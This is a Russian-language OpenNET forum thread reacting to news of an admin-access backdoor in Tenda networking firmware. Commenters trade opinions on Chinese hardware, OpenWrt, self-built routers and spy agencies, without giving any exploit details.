Профиль: Аноним (вход | регистрация) неRU opennet.me  
The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



"Бэкдор в прошивках Tenda, позволяющий получить доступ с правами администратора"
Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Изначальное сообщение [ Отслеживать ]

"Бэкдор в прошивках Tenda, позволяющий получить доступ с правами администратора"  +/
Сообщение от opennews (??), 07-Июл-26, 09:05 
В прошивках, применяемых в потребительских и промышленных маршрутизаторах, коммутаторах, беспроводных точках доступа и системах видеонаблюдения компании Tenda, выявлен бэкдор (CVE-2026-11405), позволяющий получить доступ к web-интерфейсу с правами администратора в обход штатного процесса аутентификации и независимо от настроек учётной записи администратора. Предоставляемые права доступа позволяют  управлять всеми настройками, манипулировать трафиком, отключить средства защиты и использовать устройство как плацдарм для атаки на системы в локальной сети...

Подробнее: https://www.opennet.dev/opennews/art.shtml?num=65856

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения [Сортировка по ответам | RSS]

1. Сообщение от Аноним (1), 07-Июл-26, 09:05   +14 +/
И кто это сделал?
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #3, #22, #155

3. Сообщение от Мохнонос (?), 07-Июл-26, 09:09   +6 +/
Tenda Technology – это китайская компания. Она получила известность на всей планете в качестве производителя сетевого оборудования для домашнего пользования, ка...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #7

4. Сообщение от Аноним (4), 07-Июл-26, 09:11   +4 +/
Ну что вы, какой бэкдор. Это для отладки, просто забыли убрать из релиза. А может и телеметрия, но тогда получше прикрыли бы.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #11, #16, #61

5. Сообщение от Аноним (5), 07-Июл-26, 09:17   +4 +/
Можно точно пароль указать? А то купил вчера ип камеру от этих товарищей, веб сервер на 80 и 443 отвечает, но под стандартным паролем не пускает, ssh тоже есть и там аналогично.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #8

6. Сообщение от Аноним (6), 07-Июл-26, 09:20   +2 +/
Поэтому всеми силами пытаются Claude Mythos ограничить.
Ещё миллионы таких бэкдоров всплывут которые сами производители оставили чтобы шпионить за пользователями. Особенно из поднебесной
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #138

7. Сообщение от Аноним (7), 07-Июл-26, 09:24   –7 +/
>Tenda Technology

Да бл*ин, у каждогов 2го в доме Tenda, а тут бекдор в прошивке.

>китайская компания

Ассоциируется с качеством).

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #3 Ответы: #23

8. Сообщение от Аноним (8), 07-Июл-26, 09:26   +3 +/
Нет, правообладатель на это согласие не давал!
Сегодня вы камеры ломаете, а завтра рекламу и телеметрию блокируете!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #5

11. Сообщение от Соль земли2 (?), 07-Июл-26, 09:45   +5 +/
Гестапо окружили все выходы, но Штирлиц вышел через backdoor.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #4

12. Сообщение от IMBird (ok), 07-Июл-26, 09:49   +4 +/
Это была реклама Huawei.
Не зря его в Европе и США запрещают.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #13, #62

13. Сообщение от Аноним (4), 07-Июл-26, 09:57   +3 +/
Меж тем, у Huawei наименее протрояненные телефоны.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #12 Ответы: #17

14. Сообщение от Tron is Whistling (?), 07-Июл-26, 10:01   –3 +/
О, теперь понятно, что у одного из клиентов пару месяцев назад с унылыми китайскими камерами случилось.
Ответить | Правка | Наверх | Cообщить модератору

16. Сообщение от Аноним (16), 07-Июл-26, 10:12   +7 +/
Случайная случайность, никто не виноват. Бывает, понять и простить. Всемирная лажа. Надо было писать на расте. Жиа Тан вот кто самый главный злодей, а здесь просто ошибка. Виновата сишка. Расходимся здесь не на что смотреть
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #4

17. Сообщение от Аноним (16), 07-Июл-26, 10:14   –6 +/
Тл что они не стучат в гугл ни о чем не говорит.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #13 Ответы: #20, #134

19. Сообщение от aimemail (ok), 07-Июл-26, 10:17   –1 +/
на фоне дикой популярности китайских "управляемых через веб" свитчей - прям новость "в тему".

100500 раз подумайте прежде чем это домой нести

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #25, #26

20. Сообщение от anonymous (??), 07-Июл-26, 10:18   +8 +/
гугл самая большая компания зла на планете, так что говорит.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #17 Ответы: #31

22. Сообщение от Аноним (22), 07-Июл-26, 10:23   +12 +/
Какой пароль-то?! Тема не раскрыта.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

23. Сообщение от kravich (ok), 07-Июл-26, 10:32   –7 +/
>Ассоциируется с качеством).

С качественными репрессиями, да

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #7 Ответы: #29

24. Сообщение от Анон1110м (?), 07-Июл-26, 10:39   –1 +/
Хорошо что у меня Netis.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #65

25. Сообщение от Аноним (4), 07-Июл-26, 10:41   +4 +/
Зачем домой нести что-то без openwrt?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #19 Ответы: #28, #172

26. Сообщение от Жироватт (ok), 07-Июл-26, 10:45    Скрыто ботом-модератором+11 +/
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #19 Ответы: #70, #96

28. Сообщение от Жироватт (ok), 07-Июл-26, 10:53   +/
Разве опенврт в принципе что-то гарантирует?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25 Ответы: #33, #75

29. Сообщение от Eneeld (?), 07-Июл-26, 10:55   –6 +/
Я понимаю, что у китайских компании софт говно, но я считаю обвинять компании в установке бэкдоров глупо, так делают все компании любой страны по указке спец.служб
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #23 Ответы: #35, #119

30. Сообщение от LaunchWiskey (ok), 07-Июл-26, 11:06   –2 +/
Не, ну китайский китай дома ставить - это самим себе злобным Буратино быть. Да и не-китай тоже - среди ширпотребных роутеров ничего достойного нет. Собираешь маленький бесшумный компик в качестве роутера, ставишь OS по вкусу, подключаешь качественную точку доступа - и вуаля! Вот путь настоящего IT-самурая.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #32, #34, #36, #38, #55, #110, #118

31. Сообщение от Аноним (35), 07-Июл-26, 11:07   +2 +/
Назло Гуглу сольёшь все китайскому Анб?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #20 Ответы: #51

32. Сообщение от Аноним (35), 07-Июл-26, 11:08   +4 +/
И вуаля ты потратил десятки тысяч рублей кучу времени и как итог у тебя все равно ничего не работает.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #30 Ответы: #40, #77

33. Сообщение от Аноним (4), 07-Июл-26, 11:08   +2 +/
Гарантирует отсутствие мд5 хэшей в паролях и модифицированных вставок в интерфейсе аутентификации. Бэкдоры по самому простому и незатейливому пути всегда поставляются, он максимально удобен и не требует замены компонентов устройства, которые к тому же невозможно унифицировать. Открытая пошивка требует бэкдоров совсем другого уровня, менее надёжных и работоспособных.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #28 Ответы: #52

34. Сообщение от Аноним (34), 07-Июл-26, 11:09   +/
>подключаешь качественную точку доступа

Например?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #30 Ответы: #41

35. Сообщение от Аноним (35), 07-Июл-26, 11:10   +9 +/
> Я понимаю, что у китайских компании софт говно, но я считаю обвинять
> компании в установке бэкдоров глупо, так делают все компании любой страны
> по указке спец.служб

Глупо оправдывать компании в том что они заведомо тебе вредят. Это личная проблема компаний кто их и что заставляет и конечного пользователя она вообще волновать не должна.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #29 Ответы: #49

36. Сообщение от Аноним (4), 07-Июл-26, 11:11   +3 +/
Главное, компик с intel me или его аналогами, подключёнными напрямую к интернету, да. И даже если прошить coreboot, там вотчдог стоит.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #30 Ответы: #68, #103

38. Сообщение от Аноним (38), 07-Июл-26, 11:15   +2 +/
> подключаешь качественную точку доступа

которая и будет таким же китайским китаем

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #30

39. Сообщение от Аноним (39), 07-Июл-26, 11:17   +/
Нинтенда курильщика.
Ответить | Правка | Наверх | Cообщить модератору

40. Сообщение от LaunchWiskey (ok), 07-Июл-26, 11:32   +1 +/
> И вуаля ты потратил десятки тысяч рублей кучу времени и как итог
> у тебя все равно ничего не работает.

Более-менее адекватный роутер из магазина, уровнем повыше пластиковой затычки, будет стоить не сильно дешевле. К тому же подобный конфиг не требует больших вычислительных мощностей, и его можно собрать на стареньком железе, лежащим без дела в кладовке, если бюджет ограничен. Насчет траты времени - а разве мы тут не профессионалы, для которых покопаться в настройках системы это интересный квест и веселое времяпровождение? У меня сборка и настройка заняла полдня, на базе FreeBSD сделал. В итоге - всё надежно работает уже не первый год, причём я сам знаю как, без бакдоров и закладок, с нормальным неперегревающимся железом. Ни одного программного или аппаратного сбоя за время эксплуатации не замечено. И проработает эта система, не устаревая, сколь угодно долго. При появлении новых технологий Wifi я просто заменю точку доступа на более современную без переделки всего остального. А уж какие возможности по установке всяких дополнительных сервисов, типа VPN, DNS и прочего - ни один магазинный роутер такой гибкости не даст.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #32 Ответы: #44, #54

41. Сообщение от LaunchWiskey (ok), 07-Июл-26, 11:37   +/
>>подключаешь качественную точку доступа
> Например?

Ruckus, Aruba, Cisco? Ubiquity, если побюджетнее?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #34

42. Сообщение от Аноним (42), 07-Июл-26, 11:37   +/
Это вообще-то не первый подобный бэкдор у этих железок.
Заплатку не ждать, бегом покупать новый другой марки.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #45, #46

44. Сообщение от Аноним (44), 07-Июл-26, 12:05   +/
> Насчет траты времени - а разве мы тут не профессионалы, для которых покопаться в настройках системы это интересный квест и веселое времяпровождение?

Профессионалы то да, но не все тут безработные и без личной жизни

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #40 Ответы: #73, #109

45. Сообщение от Аноним (45), 07-Июл-26, 12:07   +1 +/
>новый другой марки

С новыми улучшенными бэкдорами, которые заботливо добавлены разработчиками прошивки под устройства этой самой другой марки.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #42

46. Сообщение от Аноним (46), 07-Июл-26, 12:08   +1 +/
>Заплатку не ждать, бегом покупать новый другой марки

Попробуй нарисовать более-менее реалистичный сценарий эксплуатации этого "бэкдора" в ситуации, когда доступ к веб-админу закрыт снаружи.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #42 Ответы: #48, #91

47. Сообщение от Аноним (46), 07-Июл-26, 12:11   +/
Вон на днях у Микротика вышли обновления всех прошивок. Для Soho вполне адекватная замена сабжу
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #58

48. Сообщение от Аноним (42), 07-Июл-26, 12:19   +2 +/
он через wifi ломается на раз соседями
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #46 Ответы: #53

49. Сообщение от Аноним (49), 07-Июл-26, 12:36   +3 +/
>Глупо оправдывать

Он не оправдывал, просто в китайских прошивках такой "функционал" называется бэкдор, а в цисковских, почему то, ошибка. :)

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #35 Ответы: #64

51. Сообщение от funny.falcon (?), 07-Июл-26, 12:49   +1 +/
Я китайскому АНБ абсолютно неинтересен. Равно как и американскому.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #31 Ответы: #59, #74

52. Сообщение от Аноним (52), 07-Июл-26, 13:07   –3 +/
> Гарантирует

а у вас и договор есть, где прям написано, да?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #33 Ответы: #63

53. Сообщение от Аноним (46), 07-Июл-26, 13:08   –1 +/
Я же просил "более-менее реалистичный"
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #48 Ответы: #98

54. Сообщение от Аноним (52), 07-Июл-26, 13:13   –1 +/
> разве мы тут не профессионалы,
> на базе FreeBSD

дисонанс просто

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #40

55. Сообщение от Ivan_83 (ok), 07-Июл-26, 13:15   –1 +/
Хомяку и начинающему гику более чем хватит и OpenWRT, для этого достаточно посмотреть что продаётся в местных ларьках и сравнить с тем что есть в вики и убедится что сил на установку хватит.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #30

58. Сообщение от Ivan_83 (ok), 07-Июл-26, 13:17   +1 +/
Микротик слишком сложный и слишком страшный для домашнего использования.
Примерно как HP microserver кубики.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #47 Ответы: #148

59. Сообщение от Аноним (59), 07-Июл-26, 13:18   –3 +/
Американскому, пожалуй, да. А вот китайскому... я бы призадумался. Как-никак, "дружественная" страна.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #51 Ответы: #137

60. Сообщение от Ivan_83 (ok), 07-Июл-26, 13:19   +/
Tenda всегда такой и была: дярвая и примитивная.

Крутил их девайсы лет 10 назад - мусор-мусором, да ещё и те что у меня были не шились в OpenWRT.

Удитория у них такая же: любители брать дешёвый шлак, похожий на нормальные девайсы и не понимающий в этом совсем ничего. Им и так сойдёт.

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #86, #104

61. Сообщение от Аноним (67), 07-Июл-26, 13:19   +/
>А может и телеметрия, но тогда получше прикрыли бы

На это им вообще плевать:
https://www.opennet.dev/opennews/art.shtml?num=58613

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #4

62. Сообщение от Аноним (67), 07-Июл-26, 13:20   +2 +/
>Это была реклама

Это было очередное напоминание не покупать ничего китайского.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #12 Ответы: #127

63. Сообщение от Аноним (4), 07-Июл-26, 13:27   –1 +/
Ты сам конфигурируешь openwrt. Чё поставишь, то и будет.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #52 Ответы: #140

64. Сообщение от Анонисссм (?), 07-Июл-26, 13:28   +/
> а в цисковских, почему то, ошибка

а пример можно чтобы в цысько или джунипер можно было просто зайти под паролем-товарища-маёра через штатный вход?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #49 Ответы: #66, #108, #121

65. Сообщение от Аноним (67), 07-Июл-26, 13:38   +/
Netis Systems (NETCORE Group) это тоже китайская контора:
https://xakep.ru/2016/11/22/netis-backdoor/
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #24 Ответы: #88

66. Сообщение от арвофылд (?), 07-Июл-26, 13:41   +3 +/
https://sec.cloudapps.cisco.com/security/center/publicationL...

На здоровье.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #64 Ответы: #67

67. Сообщение от Аноним (67), 07-Июл-26, 13:45   –3 +/
И что вы скинули ?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #66

68. Сообщение от Аноним (67), 07-Июл-26, 13:52   +/
вы тогда откажитесь от всего железа т.к. у amd psp, а у arm trustzone
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #36 Ответы: #69

69. Сообщение от Ivan_83 (ok), 07-Июл-26, 13:57   +1 +/
PSP не умеет в сеть, как и трастзон.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #68

70. Сообщение от Аноним (67), 07-Июл-26, 14:10   –3 +/
Ну с вами то понятно (не раз видел пробитие дна в ваших комментариях).
Подмена понятий и софизм ваше часто практикуемое действие, плюс оскорбления и коверкания слов.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #26 Ответы: #111

73. Сообщение от Жироватт (ok), 07-Июл-26, 14:24   +/
Один раз настроил и забыл, ну.
Это не генту постоянно перебирать и на опёнке пытаться работать
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #44 Ответы: #95

74. Сообщение от Аноним (-), 07-Июл-26, 14:25   +2 +/
> Я китайскому АНБ абсолютно неинтересен. Равно как и американскому.

Мне кажется, все эти службы по всей планете хотят как можно больше конфиденциальных данных собрать

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #51 Ответы: #107

75. Сообщение от Аноним (75), 07-Июл-26, 14:27   +2 +/
Никто ничего в принципе не гарантирует, в любой лицензии прописан отказ от ответственности. Можно, конечно, и гарантии купить, но это будет стоить как пара Боингов.

С openwrt ты сам себе гарантия. Что захотел, то и поставил. Исходники открыты, а с современными LLM худо-бедно проверить на откровенные бэкдлоры любой, кто хотя бы чуть-чуть понимает в программировании (на достаточном уровне, чтобы задать вопрос и понять ответ), может самостоятельно.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #28 Ответы: #101, #171

76. Сообщение от Аноним (76), 07-Июл-26, 14:38   +2 +/
Так это просто админский доступ по умолчанию, типа admin\admin!
Ответить | Правка | Наверх | Cообщить модератору

77. Сообщение от Аноним (67), 07-Июл-26, 14:40   –1 +/
>И вуаля ты потратил десятки тысяч рублей кучу времени и как итог у тебя все равно ничего не работает.

Работает, берите Cisco или MikroTik, если хочется чего-то гиковского то Turris:
https://opennet.ru/64181-turris
https://opennet.ru/65047-turris

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #32 Ответы: #102, #117

86. Сообщение от IMBird (ok), 07-Июл-26, 15:27   +4 +/
Бывает хуже – есть любители купить дорогой шлак. Линксайс или прастихопспаде асус. Ну и секта свидетелей микротика, тащащая его на все задачи без исключения туда же.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #60 Ответы: #87, #93, #94, #150

87. Сообщение от Аноним (67), 07-Июл-26, 15:44   +/
И всё же при всех встречающихся косяках будут намного лучше любого китайского.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #86

88. Сообщение от Анон1110м (?), 07-Июл-26, 15:53   –2 +/
Но без закладок.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #65 Ответы: #106

91. Сообщение от Аноним (91), 07-Июл-26, 16:32   +/
Это смотря что ты подразумеваешь под "снаружи" (WAN). Локальная сетка провайдера, через которую ты подключаешься к интернету по PPPOE/L2TP/просто по DHCP, всё ещё "снаружи"?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #46

93. Сообщение от Ivan_83 (ok), 07-Июл-26, 17:05   +/
Ну асус так ничо, но имхо тплинк получше будет во всём.
Я лично смотрю что есть в магазе и на что из этого опенврт встанет и насколько сложно.

У некоторых вон асус RT-N56U до сих пор ещё живые, им уже 15 лет и они до сих пор работают и получше чем у местных любителей dir-300 - хотя бы вафля на 5ггц есть и больше сотки тянут.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #86 Ответы: #105

94. Сообщение от Аноним (46), 07-Июл-26, 17:09   +2 +/
О мудрейший! Не оставь темных без твоей великой мудрости! Просвети нас: по-твоему какие маршрутизаторы/WiFi на рынке SOHO не являются шлаком.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #86 Ответы: #99

95. Сообщение от Аноним (95), 07-Июл-26, 17:10   +/
>Один раз настроил и забыл, ну.

Это не генту постоянно перебирать и на опёнке пытаться работать

Про один раз настроил и забыл это все только на словах красиво звучит. Без специальных навыков и знаний не всё так просто. На деле это потратил пару дней на поиск запросов, что собственно искать. После того как нашел - ещё несколько дней на поиск как настроить. Потом начинается самое интересное: время на настройку, перенастройку, оптимизацию, улучшение, замену старого оборудования на новое, перепрошивка оборудования, поиск проблем, решение проблем, замену нового оборудование для которого нет драйверов или софта на что-то, что порекомендовал анонимус в качестве "народного" решения, которое работает. И между этими шагами повторный поиск в гугле что не так, как это вылечить или исправить.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #73 Ответы: #97, #143

96. Сообщение от Аноним (67), 07-Июл-26, 17:32   –1 +/
>это Китай, но

Все кто плюсует, вообще не пользуются своей головой и даже не можете погуглить ?
Приёмы Жироватта это манипуляции и ложь смешанная с реальной инфой, оставаясь где-то в 2010 когда многие производили всё в Китае, с тех пор много воды утекло, но у нас любят самообман.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #26 Ответы: #141

97. Сообщение от Аноним (4), 07-Июл-26, 18:11   +/
Генту я настраиваю меньше чем любой из дистрибутивов когда либо. 1 день при первой установке с 0 и потом максимум 1 час в год. Гугл тебе не помощник, там ничего нет практически никогда. Чтение кода помогает, но для начала придётся научиться собирать софт.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #95

98. Сообщение от Аноним (106), 07-Июл-26, 18:13   +1 +/
Это реалистично, у дешёвых тенд часто виви старый и с активным wps, я в исследовательских целях ломал пару таких, разумеется своих :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #53

99. Сообщение от Аноним (106), 07-Июл-26, 18:16   +/
allied telesis в тч soho делает
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #94

101. Сообщение от Аноним (101), 07-Июл-26, 18:40   +/
У меня на ноуте есть такая голографическая наклейка, которая гарантирует отсутствие в нем недокументированных возможностей.
Но есть нюансыкак обычно...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #75

102. Сообщение от Аноним (101), 07-Июл-26, 18:46   +/
У меня дома Cisco, но я CCDE. Но если ты хотя бы не CCNP/CCDP - яб не рекомендовал идти этим путем.
И кстати у кошек в свое время нашли совершенно аналогичный бекдор - при заходе по определенному урлу на их веб, ты получал 15е поивелегии.
А ещё я видел и ковырял кошки с аппаратными бекдорами. Да-да - специально добавленными, адресно так сказать. Самим производителем.
Так что на Авито ты можешь купить нечто не то что ожидаешь...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #77 Ответы: #125

103. Сообщение от Аноним (101), 07-Июл-26, 18:47   +/
Да что вы так к этой реализации ipmi так докопались то...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #36

104. Сообщение от pofigist (?), 07-Июл-26, 18:50   +/
Обычно дешёвый шлак идёт вместе с контрактом от isp. И чтоб от него избавиться - надо приложить усилия, совершенно невозможные для обычного юзверя.
Ибо в договоре нередко прямым текстом прописан запрет на самостоятельную замену роутера.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #60 Ответы: #114

105. Сообщение от pofigist (?), 07-Июл-26, 19:01   +/
Тплинк был почти идеальной железкой для опенврт. Но это было во времена Арчера с7, сейчас там увы всё гораздо хуже...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #93 Ответы: #113

106. Сообщение от Аноним (106), 07-Июл-26, 19:10   +1 +/
Без известных тебе лично закладок и бэкдоров, если уж быть совсем точным
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #88

107. Сообщение от Халявщик не корпорастemail (?), 07-Июл-26, 20:05   +/
- хотят как можно больше конфиденциальных данных собрать

Они просто интересуются чем ты там занимаешься без твоего ведома. Ты же их для этого содержишь, платя налоги и оплачивая договорняки на торговлю, обеспечение типа безопасности и всё такое, а взамен от них минет, они же это любят и на постоянной основе, и не зависимо от страны и места своего пребывания. Всё же просто, это же не пароль свой захешировать...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #74

108. Сообщение от Адмирал Майкл Роджерс (?), 07-Июл-26, 20:37   +/
Подобного рода сведения имеют, как правило, гриф "для служебного пользования" или более строгий.
В тех случаях, когда информация о дополнительной функциональности телекоммуникационного оборудования получает нежелательную огласку, доступ к подобным материалам регулируется средствами ранжирования выдачи поисковых сервисов.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #64

109. Сообщение от Адмирал Майкл Роджерс (?), 07-Июл-26, 20:49   +/
Да можешь особо не напрягаться, невооружённым глазом видно, насколько длятебя болезнено, что кто-то из подручных материалов сделал роутер, недоступный для твоих хозяев.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #44

110. Сообщение от Аноним (122), 07-Июл-26, 21:01   +/
> Собираешь маленький бесшумный компик в качестве роутера, ставишь OS по вкусу, подключаешь качественную точку доступа - и вуаля! Вот путь настоящего IT-самурая.

Ну и зачем этот DIY, если на ебее энтерпрайзные б/у роутеры десятилетней давности разве что не на вес продаются, и при этом дадут фору любому "компику" по части конкретно роутинга ещё лет 10?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #30 Ответы: #146

111. Сообщение от EiLef3Woos (ok), 07-Июл-26, 21:48   –1 +/
С Вами тоже всё понятно. Чел 100% говорит как есть в нашем мире, полным конституционных прав по горло. По горло в петле.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #70 Ответы: #112, #142

112. Сообщение от Аноним (67), 07-Июл-26, 22:07   +1 +/
>Чел 100% говорит как есть в нашем мире

Он лжёт, на примере:
"""это Китай, но "открытый", чешский - все то же самое, что и у латышей, только с оверкильным железом, возможностью самоуспокоится установкой опенврт"""
— Это я так понимаю он пишет про чешский Turris Omnia у которого чип от Qualcomm сделанный на Тайване, а само устройство начиная от производства платы и нанесения SMT-компонентов находится в Чехии:
https://opennet.ru/64181-turris

Так и остальное можно разобрать, у него цель манипуляции, чтоб смешать в всё в кучу и выдать типа вывод, который является чистейшим софизмом.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #111 Ответы: #115

113. Сообщение от Ivan_83 (ok), 07-Июл-26, 22:20   +/
Хз, я за железом особо не смотрю, без надобности.
Последний раз под вифи6 и опенврт брал асус.

До того под вифи был тплинк притом "репитер" RE-450 - довольно качественный девайс внутри, единсвенное что подвело - флешка на 8мб с неудобной разметкой, так что последний раз пришлось самому собирать прошивку чтобы она в 6мб влезала.
А вот у асуса пластик с помойки, он хоть и младше тплинка лет на 5 а довольно ломкий. Хорошо хоть плата пока из чего то нормального сделана, но БП родной я кажется выкинул сразу.

Про ксяоми начитался - впечатление ужасное, лучше тенду взять совместиму с опенврт - походу меньше возни будет.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #105

114. Сообщение от Ivan_83 (ok), 07-Июл-26, 22:26   +1 +/
Это как правило xPoN всякий, там реально можно влететь на проблемы при попытке пересесть на другого вендора.

Я этот квест 3 года назад проходил.
Поставил тенду вместо хуавея - оно поработало и потом я словил какие то странные дропы пакетов к опред хостам. Постом поставил хуавей 8310 простенький, он заработал без проблем, единственное что со стороны оператора под него нет профиля для мульткаствлана с иптв, но оно и не надо, разве что по приколу иногда включать. Один 8310 у меня уже помер, просто взял и помер, никто ему не помогал. Держу теперь ещё один в запасе, и две тенды тоже :)

Родной роутер от провайдера хуавей был не плох: там вифи6 и проблем с ним бы не было, просто мне нужен IP адрес на моём хосте - у меня домашний хостенг.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #104

115. Сообщение от EiLef3Woos (ok), 07-Июл-26, 22:28   +/
Может он ошибается в деталях, но суть передана верно. Qualcomm — вообще бомба замедленного действия, рано или поздно она "взорвётся". Чипы на закрытой архитектуре и внутри зашифрованное ПО, без права доступа, без возможности модификации. Помимо Qualcomm там ещё десятки других чипов. Все они сделаны в Чехии, вот прям каждый? Или всё же в Китае со сборкой в Чехии?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #112 Ответы: #116

116. Сообщение от Аноним (67), 07-Июл-26, 22:34   +/
>Может он ошибается

Уверен, что нет. Он знает но продвигает пропагандистские методички про то, что "всёсделановкитае".

>вот прям каждый?

Не обижайтесь, но вот условно на вас его писанина и рассчитана, на тех кто не станет узнавать, а будет "удобно" согласиться.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #115 Ответы: #120

117. Сообщение от EiLef3Woos (ok), 07-Июл-26, 22:35   +/
Turris типа openwrt, только не совместим с openwrt и брать образ нужно только с сайта Turris. Тот ещё "опенсорс" со своим блэкджеком и шлюзами. Ещё и за такие деньги... Мусор, не лучше китайского шлака.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #77

118. Сообщение от EiLef3Woos (ok), 07-Июл-26, 22:44   +/
Несколько лет назад загорелся именно такой целью. Пока решить так и не удалось. Была идея построить что-то простое, на открытых технология, на каком-нибудь RISC-V плюс радиомодули. Но как оказалось, все wi-fi/bluetooth чипы с поддержкой современных технологий это своя, полностью закрытая и зашифрованная экосистема. Ноль опенсорса, ноль открытости, поэтому ноль доверия. Альтернатива - брать чипы 15 летней давности с поддержкой скорости в полтора мегабайта в секунду с открытыми прошивками от энтузиастов. Мило, но тоже не то. SDR с FPGA это вообще — ржака. Всё, на этом альтернативы закончились. Может я не туда смотрю? Пните тогда в меня ногой пару ссылок, почитать разобраться, буду только рад!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #30

119. Сообщение от Аноним (119), 07-Июл-26, 22:53   +/
Ок, тогда не обвиняйте меня в установке бекдоров в моих программах.
Ну а что, им можно, а мне нет?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #29

120. Сообщение от EiLef3Woos (ok), 07-Июл-26, 23:07   +/
> на вас его писанина и рассчитана

Для меня уже давно ничего не надо писать. Я 30 лет профессионально в IT, у меня давно глаза разуты, а уши закрыты краями шапочки из фольги — хорошо помогает от вешания лапши. И что я вижу на каждом шагу? А то, что как только вылазят какие-нибудь хитрв......ые уб...ки, заботящиеся о "моей безопасности", например запрещая мне на телефон ставить тот софт, который хочу я, а не они, то обязательно проходит время и я лишний раз убеждаюсь, что всё то словоблудие как раз и было теми самыми, упомянутыми Вами пропагандистскими методичками. Наглая ложь ради корыстного интереса, наносящего вред мне и выгодного исключительно только им. Так было начиная с IMA на каждой материнке и будет дальше. И никто не учится на ошибках и слушает про заботу о безопасности.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #116 Ответы: #123

121. Сообщение от pofigist (?), 07-Июл-26, 23:18   +2 +/
Доклад Сноудена не читал?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #64 Ответы: #122, #153

122. Сообщение от Аноним (122), 08-Июл-26, 00:47   +/
Это в котором NSA перехватывала отгруженное оборудование и внедряло туда втихую? А при чём там Cisco и Juniper?
Ответить | Правка | Наверх | Cообщить модератору
